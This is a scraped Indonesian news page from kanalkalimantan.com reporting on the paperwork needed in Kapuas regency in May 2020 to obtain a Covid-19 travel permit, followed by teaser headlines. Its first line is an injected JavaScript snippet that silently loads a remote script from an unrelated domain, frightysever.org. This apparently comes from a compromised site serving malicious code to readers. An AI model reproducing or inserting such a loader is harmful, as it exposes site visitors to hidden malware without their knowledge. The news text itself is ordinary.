(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Masyarakat Kabupaten Kapuas yang ingin membuat surat jalan bebas Covid-19 dari Gugus Tugas Percepatan Penanganan Covid-19 Kabupaten Kapuas, harus melampirkan surat keterangan bebas Covid-19 atau minimal hasil rapid test dengan keterangan non reaktif. Hal tersebut disampaikan oleh Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kapuas Panahatan Sinaga, Kamis (28/5/2020) sore.
Panahatan Sinaga menjelaskan, masyarakat yang ingin membuat surat jalan tersebut juga harus mengisi formulir permohonan yang telah disediakan di kantor BPBD. Juga melampirkan foto copy Kartu Tanda Penduduk (KTP) serta surat pengantar atau keterangan dari lecamatan.
“Masyarakat memang bisa membuat surat jalan ini, namun tidak semua orang bisa mendapatkan surat jalan tersebut, yang kami prioritaskan tentunya bagi masyarakat maupun petugas yang memang harus melaksanakan tugas-tugas negara yang penting, kemudian juga pedagang yang memang harus pergi keluar daerah,” terangnya.
Kepala BPBD Kabupaten Kapuas menegaskan untuk proses pembuatan surat jalan tersebut tidak berlangsung lama, tergantung kelengkapan-kelengkapan persyaratan yang sudah dibawa oleh pemohon.
“Sebelum menerbitkan surat jalan ini, kami harus mengetahui dulu keperluan pembuatan surat tersebut untuk apa saja. Oleh karena itu kami harapkan masyarakat harus memiliki tujuan yang jelas sebelum mengajukan permohonan surat tersebut,” imbuhnya.
Ditambahkannya, untuk masyarakat yang ingin memeriksakan dirinya yang dalam hal ini mendapatkan hasil rapid test, maka dapat dilakukan di Dinas Kesehatan Kabupaten Kapuas. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.